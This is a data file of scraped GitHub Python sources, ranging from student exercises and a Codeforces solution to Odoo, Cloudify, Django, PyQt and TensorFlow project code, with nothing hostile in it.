+{"seq_id":"73450880887","text":"'''\nstarter code\nwrite the rest of the code to get the average of all these grades\nexpected output:\nSum of [insert num of grades] grades is: [sum]\nAverage of [insert num of grades] grades is: [avg]\n'''\n\nif __name__ == \"__main__\":\n    grades = [55, 25, 100, 95, 66, 14, 87, 65]\n    grades_sum = 0\n    avg_sum = 0.0\n    num_grades = 0\n","repo_name":"agathaturya/cmsc_201_grs","sub_path":"lab4/lab4grs.py","file_name":"lab4grs.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1183228178","text":"import torch\nfrom torch import nn\nimport ctypes\nfrom ctypes import *\nimport math\nimport nvidia_dlprof_pytorch_nvtx\nnvidia_dlprof_pytorch_nvtx.init()\n\ndef print_matrix(matrix,row,col,num_batches):\n    for b in range(num_batches):\n        for j in range(row):\n            for i in range(col):\n                index = j*col + i + b*row*col\n                print(matrix[index].item(), end=' ')\n            print()\n        print()\n\ndef print_matrix_row(matrix,row,col,num_batches):\n    for b in range(num_batches):\n        for j in range(row):\n            for i in range(col):\n                index = i*row + j + b*row*col\n                print(matrix[index].item(), end=' ')\n            print()\n        print()\n\ndef print_sparse_matrix(matrix,offsets,columns,row,col,cnt,num_batches):\n    k = 0\n    for b in range(num_batches):\n        k = 0\n        for j in range(1,row+1):\n            for i in range(col):\n                if(i==columns[k+cnt*b]):\n                    if(k<offsets[j]):\n                        print(matrix[k+cnt*b].item(), end=' ')\n                        k += 1\n                    else:\n                        print(\"0.0\", end=' ')\n                else:\n                    print(\"0.0\", end=' ')\n            print()\n        print()\n\ndef make_mask(offsets,columns,row,col,cnt,num_batches):\n    mask = torch.zeros((num_batches, seq_len, seq_len), dtype=torch.float32, device='cuda')\n    k = 0\n    for b in range(num_batches):\n        k = 0\n        for j in range(1,row+1):\n            for i in range(col):\n                if(i==columns[k+cnt*b]):\n                    if(k<offsets[j]):\n                        mask[b][j-1][i] = 1\n                        k += 1\n                    else:\n                        mask[b][j-1][i] = 0\n                else:\n                    mask[b][j-1][i] = 0\n    return mask\n\ndef python_softmax(values, rows, cols, block_size, num_batches):\n    out = torch.zeros((rows*block_size*num_batches), dtype=torch.float32, device='cuda')\n    for i in range(rows*num_batches):\n        sum = 0\n        for k in range(cols):\n            if (k < block_size):\n                sum += math.exp(values[i * block_size + k])\n            else:\n                sum += math.exp(0)\n        for j in range(block_size):\n            out[i * block_size + j] = math.exp(values[i * block_size + j]) / sum\n    return out\n\n#(float *hQuery, float *hKey, float *hValue, float *hAttn, float *hAttnOut, float *hOut, int *hOffsets, int *hColumns, int seq_len, int emb_dim, int nnz, int block_size, int num_batches)\n\ndef get_attn_forward():\n    dll = ctypes.CDLL('./block_attn_forward.so', mode=ctypes.RTLD_GLOBAL)\n    func = dll.attn_forward\n    func.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, c_int, c_int, c_int, c_int, c_int]\n    return func\n\n__cuda_attn_forward = get_attn_forward()\n\nif __name__ == '__main__':\n    start = torch.cuda.Event(enable_timing=True)\n    end = torch.cuda.Event(enable_timing=True)\n\n    seq_len = 4\n    emb_dim = 4\n\n    num_batches = 1\n    block_size = 2\n    hOffsets = [0]\n    offset = 0\n\n    for _ in range(seq_len):\n        offset += block_size\n        hOffsets.append(offset)\n    \n    hColumns = []\n\n    for i in range(int(seq_len/block_size)):\n        column = block_size*i\n        for _ in range(block_size):\n            column = block_size*i\n            for _ in range(block_size):\n                hColumns.append(column)\n                column += 1\n\n    hColumns = hColumns * num_batches\n    nnz = hOffsets[-1]\n    #print(hC_offsets)\n    #print(hC_columns)\n    #print(C_nnz)\n\n    hQuery = torch.rand((seq_len*emb_dim*num_batches), dtype=torch.float32, device='cuda')\n    hKey = torch.rand((seq_len*emb_dim*num_batches), dtype=torch.float32, device='cuda')\n    hValue = torch.rand((seq_len*emb_dim*num_batches), dtype=torch.float32, device='cuda')\n    hAttn = torch.zeros(num_batches*nnz, dtype=torch.float32, device='cuda')\n    hAttnOut = torch.zeros(num_batches*nnz, dtype=torch.float32, device='cuda')\n    hOut = torch.zeros(seq_len*emb_dim*num_batches, dtype=torch.float32, device='cuda')\n    hOffsets = torch.tensor(hOffsets,dtype=torch.int32, device='cuda')\n    hColumns = torch.tensor(hColumns,dtype=torch.int32, device='cuda')\n\n    \"\"\"for b in range(num_batches):\n        for j in range(seq_len):\n            for i in range(emb_dim):\n                index = i*seq_len + j + b*seq_len*emb_dim\n                hQuery[index] = i%4\n                hKey[index] = i%4\n                hValue[index] = i%4\"\"\"\n\n\n    print(\"Query = \")\n    print_matrix(hQuery, seq_len, emb_dim, num_batches)\n    print(\"Key = \")\n    print_matrix(hKey, seq_len, emb_dim, num_batches)\n    print(\"Value = \")\n    print_matrix_row(hValue, seq_len, emb_dim, num_batches)\n\n    hQuery_p = hQuery.contiguous().data_ptr()\n    hKey_p = hKey.contiguous().data_ptr()\n    hValue_p = hValue.contiguous().data_ptr()\n    hAttn_p = hAttn.contiguous().data_ptr()\n    hAttnOut_p = hAttnOut.contiguous().data_ptr()\n    hOut_p = hOut.contiguous().data_ptr()\n    offsets_p = hOffsets.contiguous().data_ptr()\n    columns_p = hColumns.contiguous().data_ptr()\n\n    #with torch.autograd.profiler.emit_nvtx():\n    __cuda_attn_forward(hQuery_p, hKey_p, hValue_p, hAttn_p, hAttnOut_p, hOut_p, offsets_p, columns_p, seq_len, emb_dim, nnz, block_size, num_batches)\n    \n    print(\"Attn = \")\n    print_sparse_matrix(hAttn,hOffsets,hColumns, seq_len, seq_len, nnz, num_batches)\n    torch_q = hQuery.view(num_batches, seq_len, emb_dim)\n    torch_k = hKey.view(num_batches, emb_dim, seq_len)\n    torch_v = hValue.view(num_batches, seq_len, emb_dim)\n    mask = make_mask(hOffsets,hColumns,seq_len,seq_len,nnz,num_batches)\n    torch_attn = torch.matmul(torch_q, torch_k) * mask\n    print(\"Torch Attn = \")\n    print(torch_attn)\n\n    print(\"Attn Out = \")\n    print_sparse_matrix(hAttnOut,hOffsets,hColumns, seq_len, seq_len, nnz, num_batches)\n\n    print(\"Torch Attn Out = \")\n    softmax = torch.nn.Softmax(dim=-1)\n    torch_attn_out = softmax(torch_attn/math.sqrt(emb_dim)) * mask\n    print(torch_attn_out)\n    \n    print(\"\\nOut = \")\n    print_matrix_row(hOut, seq_len, emb_dim, num_batches)\n    torch_v = torch_v.permute(0,2,1)\n    torch_out = torch.matmul(torch_attn_out, torch_v)\n    print(\"Torch Out = \")\n    print(torch_out)\n","repo_name":"Bokyeong1001/cuda_practice","sub_path":"python cdll binding/block_attn/block_attn_forward_torch.py","file_name":"block_attn_forward_torch.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"22084240296","text":"import logging\nimport numpy as np\nimport pandas as pd\nfrom prophet import Prophet\nfrom sklearn.metrics import mean_squared_error\n\n\ndef ideal_prophet(data: pd.DataFrame, train_len: int, test_len: int, project: str):\n    \"\"\"\n    Function to train Facebook's prophet algorithm\n\n    Args:\n        data: dataset\n        train_len: length of training data\n        test_len: length of testing data\n        project: name of prediction column\n\n    Returns:\n        trained prophet model\n    \"\"\"\n\n    try:\n        data = data.reset_index()\n        data = data.rename(columns={project: \"y\", data.columns[0]: \"ds\"})\n        m = Prophet(daily_seasonality=False, weekly_seasonality=False)\n        model = m.fit(data[:train_len])\n        future = model.make_future_dataframe(periods=test_len, freq=\"M\")\n        forecast = model.predict(future)\n\n        rmse = np.sqrt(mean_squared_error(data['y'][-test_len:], forecast['yhat'][-test_len:])).round(2)\n        mape = np.round(\n            np.mean(\n                np.abs(data['y'][-test_len:].values - forecast['yhat'][-test_len:].values) /\n                data['y'][-test_len:].values\n            ) * 100, 2\n        )\n\n        m1 = Prophet(daily_seasonality=False, weekly_seasonality=False)\n        prophet = m1.fit(data)\n\n        return pd.DataFrame(\n            {\n                'Object': [prophet],\n                'Method': ['fbprophet'],\n                'RMSE': [rmse],\n                'MAPE': [mape],\n                'p': [0],\n                'd': [0],\n                'q': [0],\n                'P': [0],\n                'D': [0],\n                'Q': [0]\n            }\n        )\n\n    except Exception as e:\n        logging.error(\"Error while training fb_prophet: %s\", e)\n        return pd.DataFrame(\n            {\n                'Object': [None],\n                'Method': ['fbprophet'],\n                'RMSE': [np.inf],\n                'MAPE': [np.inf],\n                'p': [0],\n                'd': [0],\n                'q': [0],\n                'P': [0],\n                'D': [0],\n                'Q': [0]\n            }\n        )\n","repo_name":"RishabhKash/timeseries","sub_path":"library/fb_prophet.py","file_name":"fb_prophet.py","file_ext":"py","file_size_in_byte":2078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21749383719","text":"from odoo.exceptions import ValidationError\nfrom odoo import api, fields, models, _\n\n\nclass AdvancePayment(models.TransientModel):\n    _name = 'advance.payment'\n    _description = 'Advance Payment'\n\n    journal_id = fields.Many2one('account.journal', string=\"Payment Journal\", required=True,\n                                 domain=[('type', 'in', ['cash', 'bank'])])\n    pay_amount = fields.Float(string=\"Payable Amount\", required=True)\n    date_planned = fields.Datetime(string=\"Advance Payment Date\", index=True, default=fields.Datetime.now,\n                                   required=True)\n\n    @api.constrains('pay_amount')\n    def check_amount(self):\n        if self.pay_amount <= 0:\n            raise ValidationError(_(\"Please Enter Postive Amount\"))\n\n    def make_payment(self):\n        payment_obj = self.env['account.payment']\n        purchase_ids = self.env.context.get('active_ids', [])\n        if purchase_ids:\n            payment_res = self.get_payment(purchase_ids)\n            payment = payment_obj.create(payment_res)\n            payment.action_post()\n        return {\n            'type': 'ir.actions.act_window_close',\n        }\n\n    def get_payment(self, purchase_ids):\n        purchase_obj = self.env['sale.order']\n        purchase_id = purchase_ids[0]\n        purchase = purchase_obj.browse(purchase_id)\n        payment_res = {\n            'payment_type': 'inbound',\n            'partner_id': purchase.partner_id.id,\n            'partner_type': 'customer',\n            'journal_id': self.journal_id.id,\n            'company_id': purchase.company_id.id,\n            'currency_id': purchase.currency_id.id,\n            'date': self.date_planned,\n            'amount': self.pay_amount,\n            'sale_id': purchase.id,\n            'payment_method_id': self.env.ref('account.account_payment_method_manual_out').id\n        }\n        return payment_res\n","repo_name":"b3aufrere/beau-frerealouer","sub_path":"bi_sale_advance_payment/wizard/advance_payment.py","file_name":"advance_payment.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"35704116491","text":"po = []\nfor i in range(32):\n    po.append(2 ** i)\n\nT = int(input())\nfor _ in range(T):\n    n = int(input())\n    if n % 2 == 1:\n        ans = (1 + n) * (n // 2) + (n + 1) // 2\n    else:\n        ans = (1 + n) * (n // 2)\n    for i in po:\n        if i <= n:\n            ans -= i * 2\n    print(ans)\n","repo_name":"npkhang99/Competitive-Programming","sub_path":"Codeforces/598A.py","file_name":"598A.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"26507800086","text":"# #######\r\n# Copyright (c) 2020 Cloudify Platform Ltd. All rights reserved\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n#        http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n\"\"\"\r\n    resources.Job\r\n    ~~~~~~~~~~~~~\r\n    Ansible Tower Job interface\r\n\"\"\"\r\n\r\n# Node properties and logger\r\nfrom cloudify import ctx\r\n# Lifecycle operation decorator\r\nfrom cloudify.decorators import operation\r\n# API version\r\nfrom cloudify_ansible_tower import utils\r\n# Base resource class\r\nfrom cloudify_ansible_tower.resources.base import Resource\r\n# Resources\r\nfrom cloudify_ansible_tower.resources.job_template import JobTemplate\r\n\r\n\r\nclass Job(Resource):\r\n    \"\"\"\r\n        Ansible Tower Job interface\r\n    .. warning::\r\n        This interface should only be instantiated from\r\n        within a Cloudify Lifecycle Operation\r\n    :param string api_version: API version to use for all requests\r\n    :param `logging.Logger` logger:\r\n        Parent logger for the class to use. Defaults to `ctx.logger`\r\n    \"\"\"\r\n    def __init__(self, logger=None, _ctx=ctx):\r\n        Resource.__init__(\r\n            self,\r\n            'Job',\r\n            '/jobs',\r\n            lookup=['id', 'url', 'name'],\r\n            logger=logger,\r\n            _ctx=_ctx)\r\n\r\n\r\n@operation(resumable=True)\r\ndef create(**_):\r\n    \"\"\"Uses an existing, or creates a new, Job\"\"\"\r\n    config = ctx.node.properties.get('resource_config')\r\n\r\n    # Get project reference\r\n    rel_template = utils.get_relationship_by_type(\r\n        ctx.instance.relationships,\r\n        'cloudify.ansible_tower.relationships.job_contained_in_job_template')\r\n    if rel_template:\r\n        job_template_id = utils.get_resource_name(rel_template.target)\r\n    elif config.get('job_template'):\r\n        job_template_id = \\\r\n            JobTemplate().lookup_id(config['job_template'])\r\n\r\n    resource = JobTemplate(_id=job_template_id).launch()\r\n\r\n    ctx.instance.runtime_properties['resource'] = resource\r\n    ctx.instance.runtime_properties['resource_id'] = resource.get('job')\r\n\r\n\r\n@operation(resumable=True)\r\ndef delete(**_):\r\n    \"\"\"Deletes a Job\"\"\"\r\n    job_object = Job()\r\n    job_object.resource_id = ctx.instance.runtime_properties['resource_id']\r\n    utils.task_resource_delete(job_object)\r\n","repo_name":"cloudify-incubator/cloudify-ansible-tower-plugin","sub_path":"cloudify_ansible_tower/resources/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"13147293579","text":"# -*- encoding: utf-8 -*-\r\n\r\nimport logging\r\nfrom PyQt5.QtWidgets import QDialog\r\nfrom .Ui_SettingsDialog import Ui_SettingsDialog\r\n\r\n\r\nclass SettingsDialog(QDialog, Ui_SettingsDialog):\r\n    APP_NAME = 'TCP Client App'\r\n\r\n    def __init__(self, parent=None):\r\n        super().__init__(parent)\r\n        super(Ui_SettingsDialog).__init__()\r\n        self.lineEdit = None  # IP address string\r\n        self.spinBox = None  # Port\r\n        self.buttonBox = None  # OK / Cancel\r\n        self.setupUi(self)\r\n        self.lineEdit.textEdited.connect(self.check_sever_address)\r\n        self.buttonBox.accepted.connect(self.accept)\r\n        self.buttonBox.rejected.connect(self.reject)\r\n\r\n    def check_sever_address(self):\r\n        logging.debug('Checking whether sever_address is valid...')\r\n        logging.debug(self.lineEdit.text())\r\n\r\n    @staticmethod\r\n    def getAllSettings(server_address: str = '127.0.0.1', port: int = 8080, parent=None):\r\n        dialog = SettingsDialog(parent)\r\n        dialog.lineEdit.setText(server_address)\r\n        dialog.spinBox.setValue(port)\r\n        all_settings = {\r\n            'sever_address': server_address,\r\n            'port': port\r\n        }\r\n        result = dialog.exec_()\r\n        all_settings['sever_address'] = dialog.lineEdit.text()\r\n        all_settings['port'] = dialog.spinBox.value()\r\n        return all_settings, QDialog.Accepted == result\r\n","repo_name":"liuqun/my_pyqt5_project","sub_path":"client/settings_dialog.py","file_name":"settings_dialog.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"42762907829","text":"print (\"Aula 6 Exercício 6\");\nn1 = int(input(\"Digite o primeiro número: \"))\nn2 = int(input(\"Digite o segundo número: \"))\nn3 = int(input(\"Digite o segundo número: \"))\n\n\nif (n1 <= 0 or n2 <= 0 or n3 <=0):\n    print(\"Digite o valor correto\")\n\nelse:    \n    media = n1+n2+n3/3\n    \n    #encontrar o menor\n    if (n1 < n2):\n        if (n1 < n3):\n            print(\"O primeiro número é o menor\")    \n        \n        else:\n            print(\"O terceiro número é o menor\") \n        \n    else:\n            print(\"O segundo número é o menor\") \n       \n        #encontrar o maior\n    if (n1 > n2):\n        if (n1 > n3):\n            print(\"O primeiro número é o maior\")    \n        \n        else:\n            print(\"O terceiro número é o maior\") \n        \n    else:\n        if (n2 > n3):\n            print(\"O segundo número é o maior\") \n        else:\n            print(\"O terceiro número é o maior\") \n            \n            \n        print(\"A média é:\", media)\n\n\n            \n            \n        \n    \n     \n\n","repo_name":"joaoh-RB/Pynthon_Aulas","sub_path":"Aula 6/Aula6exe7.py","file_name":"Aula6exe7.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"44924723682","text":"import os\nfrom .base import DEBUG, CONFIG, BASE_DIR\n\nif DEBUG:\n    CACHES = {\n        'default': {\n            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n            'LOCATION': 'unique-snowflake',\n        }\n    }\nelse:\n    CACHES = {\n        'default': {\n            'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',\n            'LOCATION': CONFIG.get('CACHE', 'PATH', fallback=os.path.join(BASE_DIR, 'cache')),\n            'TIMEOUT': CONFIG.get('CACHE', 'TIMEOUT', fallback=60),  # 过期时间，单位为秒\n            'OPTIONS': {\n                'MAX_ENTRIES': CONFIG.get('CACHE', 'MAX_ENTRIES', fallback=1000)  # 最大缓存数，当缓存的数量超过后删除旧的缓存\n            }\n        }\n    }\n","repo_name":"power-ops/cmdb","sub_path":"cmdb/management/settings/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"14114816642","text":"import opentracing\nfrom flask import g\nfrom functools import wraps\n\n\ndef tracer_decorator(span_name, pay_load=None):\n    def _decorator(func):\n        @wraps(func)\n        def create_span(*args, **kwargs):\n            span = g.get(\"tracer_span\")\n            if not span:\n                new_span = opentracing.tracer.start_span(func.__name__)\n            else:\n                new_span = opentracing.tracer.start_span(func.__name__, child_of=span)\n            new_span.log_event(span_name, payload=pay_load)\n            g.tracer_span = new_span\n            result = func(*args, **kwargs)\n            if span:\n                g.tracer_span = span\n            new_span.finish()\n            return result\n        return create_span\n    return _decorator\n\n\ndef current_span():\n    return g.get(\"tracer_span\", None)\n\n","repo_name":"hitolz/InfoSub","sub_path":"app/util/tracer.py","file_name":"tracer.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"46610070443","text":"#!~/.conda/envs python\n# -*- coding: utf-8 -*-\n\nimport functools  # 来源Python标准库的包，用于处理函数和可调用对象的工具\n\nimport numpy as np  # Numpy是常用数学包，提供了很多数学计算方法\n\nimport tensorflow.keras as keras  # https://keras.io/zh/ 可看作Tensorflow的一个子包，但也可单独使用\nimport tensorflow.keras.optimizers as opts  # 引入优化器\nfrom tensorflow import (  # 提倡在导入大量模块和方法时加括号\n    GradientTape,  # 自动求导类，求导之前得先监听变量，用其监听的变量所做的各种操作来确定这个导该怎么求\n    Tensor,  # 描述矩阵的类，一旦给矩阵赋值就不能改了，调试中可以看到其不同实例的名字互相关联\n    clip_by_value,  # 用来限制变量取值范围的方法，给这个变量设置上下限\n    convert_to_tensor,  # 将列表或者numpy.ndarray转换为Tensor\n    float32,  # Tensorflow提供32位浮点数\n    reshape,  # 对Tensor形状进行变更\n    function,  # 将函数编译为可调用的TensorFlow图。\n    config  # tensorflow一些配置所在的包\n)\nfrom tensorflow import compat  # compat模块包含两组兼容函数，\nfrom tensorflow import math as tfmath  # 框架内进行一些数学运算，用的是自己封装的类和方法\nfrom tensorflow import reduce_max  # 求Tensor矩阵中值最大的一个元素\nfrom tensorflow.keras.layers import (\n    AvgPool2D, Conv2D, Dense, Flatten, InputLayer  # 导入所需层\n)\nfrom tensorflow.keras.losses import BinaryCrossentropy  # 框架自带交叉熵损失函数，这次我们不用这个，我们自己来写\nfrom tensorflow.python.keras.callbacks import Callback  # 每轮拟合都调用一次的回调函数类的基类\nfrom tensorflow.python.keras.engine import data_adapter\n# 将不同的输入数据转换为tf.dataset\n\n# 取消Eager模式可以方便从placeholder中取出Tensor，但一定程度上造成了其它地方使用不便，最明显的：训练慢了\n# compat.v1.disable_eager_execution()\n\n# 所以用这行代码来代替，虽然还是慢，但是相对上面已经快了很多\nconfig.experimental_run_functions_eagerly(True)\n\nnp.set_printoptions(suppress=True, threshold=np.inf)  # 设置不用科学计数法\nSHAPE = (-1, 28, 28, 1)  # 输入层输入矩阵形状\n\n# 读数据，读取出来的数据形状为(n,28,28,1),(n,10),(m,28,28,1),(m,10)\n(x, y), (x_t, y_t) = keras.datasets.mnist.load_data()\n\nx = reshape(x, SHAPE)\nx_t = reshape(x_t, SHAPE)\n\n# 下面这些在step里做\n# y = [[1 if j == y[i] else 0 for j in range(10)] for i in range(len(y))]\n# y_t = [[1 if j == y_t[i] else 0 for j in range(10)] for i in range(len(y_t))]\n\n# 取一定量的数据减少内存占用，否则就溢出\n# 随机一些序号，非Eager下不能对Tensor使用len方法\nrands = np.random.randint(0, x.shape[0], (2000,))\nx = [x[i] for i in range(x.shape[0]) if i in rands]  # 按照序号获取列表中的一些数值\ny = [y[i] for i in range(len(y)) if i in rands]  # 按照序号获取列表中的一些数值\nx = convert_to_tensor(x)  # 将列表转换为Tensor对象\ny = convert_to_tensor(y, dtype=float32)  # 将列表转换为Tensor对象并设置Tensor对象的dtype\n\n# dtype描述了对象内部存储的数据类型，这个Tensor中的每一个值都转化为这个类型\n\nprint('x.shape = %s, y.shape = %s' % (x.shape, y.shape))  # 打印数据形状\n\n# 如果y的第0维度与输出层神经元数目不同就会影响损失函数工作，除非在损失函数中将y转换成正确的形状\n\nEPOCHS = 500  # 最大拟合500轮\nNETWORK = [\n    InputLayer(input_shape=SHAPE[1:], name=\"input\"),  # 输入层，确定第一个隐层的权重矩阵尺寸\n    Conv2D(\n        filters=32,  # 卷积核数目，有许多神经元对输入做一致的操作，不妨让它们的权重矩阵就也可以同步变化，换种说法：共享权重\n        kernel_size=(3, 3),  # 卷积核大小，就是权重矩阵的shape\n        activation='relu',  # 激励函数的名字一定要写对\n        padding='same',  # 这个参数描述卷积层是否对输入进行填充，默认是'valid'（不填充），具体怎么填充是框架里已经做好的事情\n        name=\"Conv_1\"  # 给这一层起个名字\n    ),\n    AvgPool2D(  # 平均池化层，对输入的几个相邻值合并成一个值（求平均）来降维\n        pool_size=(2, 2),  # 描述窗口大小，对多少值求平均，这里取了2行2列4个值求平均\n        strides=None,  # 滑动窗口步长，为None时就自动让窗口永不重合\n        padding='valid',  # 无填充\n        name=\"Pool_1\"  # 名字\n    ),\n    Conv2D(\n        # 同一网络中层的名字要互不相同\n        filters=64, kernel_size=(3, 3), activation='relu', padding='same', name=\"Conv_2\"\n    ),\n    AvgPool2D(name=\"Pool_2\"),  # 输出的shape应该是(None,7,7,64)\n    Flatten(),  # 平展层用来改变矩阵形状，其没有可训练参数，仅仅将输入的矩阵处理成全连接层所接受的形状\n    # 经过平展层后输入应该是(None,3136)\n    Dense(units=64, activation='relu', name=\"Dense_1\"),\n    # 每一个神经元用上一层的64个值判断输入是否是自己的输出的类别\n    Dense(units=10, activation='sigmoid', name=\"Dense_2\")\n]\n\nmodel = keras.Sequential(layers=NETWORK, name='LeNet')  # 将层顺序连接形成神经网络模型\n\n\n@function  # 这个注解控制将方法加入内存以提高运行速度\ndef step(self, data):  # 定义训练步骤方法，模型每轮拟合都进行\n\n    print('data type: %s' % type(data))  # data是tuple类型的\n    print(data)  # data里面有两个Tensor对象\n    x, y_raw, _ = data_adapter.unpack_x_y_sample_weight(data)  # 把元组拆成单个值\n    y = [\n        [\n            1 if j == y_raw[i] else 0 for j in range(10)\n        ] for i in range(len(y_raw))\n    ]  # 遍历生产y值\n\n    y = convert_to_tensor(value=y, dtype=float32)  # 类型转换\n\n    with GradientTape(persistent=True, watch_accessed_variables=False) as tape:\n        tape.watch(self.trainable_variables)  # 监控网络参数进行过的运算\n        y_hat = self(x, training=True)  # 得出模型输出\n        loss = self.loss(y, y_hat)  # 计算模型损失\n\n    grads = tape.gradient(loss, self.trainable_variables)  # GradientTape 自动求导\n    self.optimizer.apply_gradients(  # 优化网络参数\n        zip(grads, self.trainable_variables)  # 打包为元组\n    )\n    # 计算正确率，不算也行，但是早停需要用所以就进行计算\n    accuracy = tfmath.reduce_mean((y_hat*y)+((1-y_hat)*(1-y)))\n    return {'loss': loss, 'accuracy': accuracy}\n\n\nclass Callback_(Callback):  # 定义回调类\n    def on_epoch_end(self, epoch, logs={}):  # self就是Model对象的指针\n        acc = logs.get('accuracy')  # logs是step的返回值\n        if acc > 0.97:  # 如果能达到97%的训练误差就停止训练\n            self.model.stop_training = True  # 设置停止训练\n\n\ndef log(v: Tensor):  # 定义一个求对数的方法\n    return tfmath.log(clip_by_value(v, 1e-8, reduce_max(v)))  # 限制v的取值防止出现nan\n\n\ndef binary_crossentropy_(y, y_hat):  # 自定义的交叉熵损失函数\n    # L_i=log_e(hat{y}_i)y_i+log_e(1-hat{y}_i)(1-y_i)\n    loss = log(y_hat) * y + (log(1 - y_hat) * (1-y))\n    loss = -tfmath.reduce_mean(loss)  # (1/N)∑_{i}L_i\n    return loss  # 返回损失值\n\n\nopt = opts.Nadam(learning_rate=.0001)  # 定义优化器\nmodel.compile(  # 模型训练相关配置\n    optimizer=opt,  # 指定优化器\n    loss=binary_crossentropy_,  # 使用我们上面定义的损失函数\n    # loss=BinaryCrossentropy(from_logits=True), # 使用框架自带的损失函数\n    metrics=['accuracy']  # 定义模型评估指标，名字和上面一致\n)\n\n\nmodel.train_step = functools.partial(\n    step, model\n)  # partial负责把model赋给step的self参数\nmodel.fit(\n    x, y,  # 填入数据和标签\n    epochs=EPOCHS,  # 最大迭代次数\n    callbacks=[Callback_()],  # 定义回调列表\n    steps_per_epoch=64  # 非Eager下必须指定steps_per_epoch参数\n)\nmodel.summary()  # 打印网络结构\n\nrands = np.random.randint(0, len(y_t), (30,))  # 取30个测试数据进行打印\nfor index in rands:\n    y_hat = model(\n        convert_to_tensor([x_t[index]]), training=False\n    )  # 非训练下获取网络输出\n    # mi = np.argmax(y_t[index])  # 算出第index个测试数据是什么数字\n    mti = np.argmax(y_hat[0])  # 算出模型计算出第index个测试数据是什么数字\n    print(\n        '[%s]::%s' % (\n            ', '.join(\n                [\n                    '%s%.04f\\033[0m' % (\n                        (\n                            '\\033[32m'if i == y_t[index] else '\\033[31m'\n                        ) if i == mti else '', y_hat[0][i]\n                    ) for i in range(len((y_hat[0])))\n                ]\n            ),\n            y_t[index]\n        )\n    )  # 打印输出\n","repo_name":"nebula-2020/202109","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8947,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"14212859075","text":"from adaptapp.models.eventrules import EventRules\n\n\ndef get_event_rules(tags, service, path):\n    conditions = []\n    for i in range(len(tags[1])):\n        condition = ['and']\n        split_tags = tags[1][i].split(\":\")\n        for tag in split_tags:\n            condition.append([\"contains\", path, tag])\n        event_rules_payload = {\"condition\": condition,\n                               \"str_rep\": cond_to_str(condition, tags[0][i])}\n        conditions.append(event_rules_payload)\n    return conditions\n\n\ndef cond_to_str(condition, service):\n    text_format = \"\"\n    gate = {\"and\": \"All\", \"or\": \"Any\"}\n\n    for item in condition:\n        if item in ['and', 'or']:\n            text_format += \"If <strong>%s</strong> of the following conditions are true:\" % gate[item]\n        else:\n            field = '.'.join(item[1][1:])\n            rule = item[0]\n            keyword = item[2]\n            text_format += \"<br>    <em>%s</em> %s '%s'\" % (field, rule, keyword)\n    return text_format[:-1] + \"<br>        then provision to current associated service: <strong>%s</strong>.\" % service\n\n\ndef provision_event_rules(new_service, condition, current_service_id):\n    service_id = new_service.id\n    action = \"route\"\n    new_event_rule = EventRules(condition, action, current_service_id)\n    return new_event_rule\n\n# all_tags = ['bff_mobile : prod-bffmobile', 'bff_mobile : dr-bffmobile', 'bff_web : prod-bffmobile',\n#             'bff_web : dr-bffmobile', 'bff_public_api : prod-bffmobile', 'bff_public_api : dr-bffmobile']\n# conditions = get_event_rule(all_tags)\n# print()\n","repo_name":"TanjidIslam/project-web-app","sub_path":"pagerduty-provision-app/adaptapp/modules/event_rule.py","file_name":"event_rule.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29432715099","text":"# por favor escribe aquí tu función\ndef es_primo(numero):\n    if numero==1:\n        return False\n    elif numero>1:\n        for x in range(2, numero):\n            rest=numero%x\n            if rest==0:\n                return False                           \n            else:\n                return True\n\ntry:\n  numero=int(input(\"Ingrese Numero:\"))\n  print(es_primo(numero))\nexcept:\n  print(\"Ingrese un numero\")\n           ","repo_name":"pabloschwarzenberg/grader","sub_path":"tema2_p1/tema2_p1_781dfbc2876274f5c376f8690fe9d349.py","file_name":"tema2_p1_781dfbc2876274f5c376f8690fe9d349.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
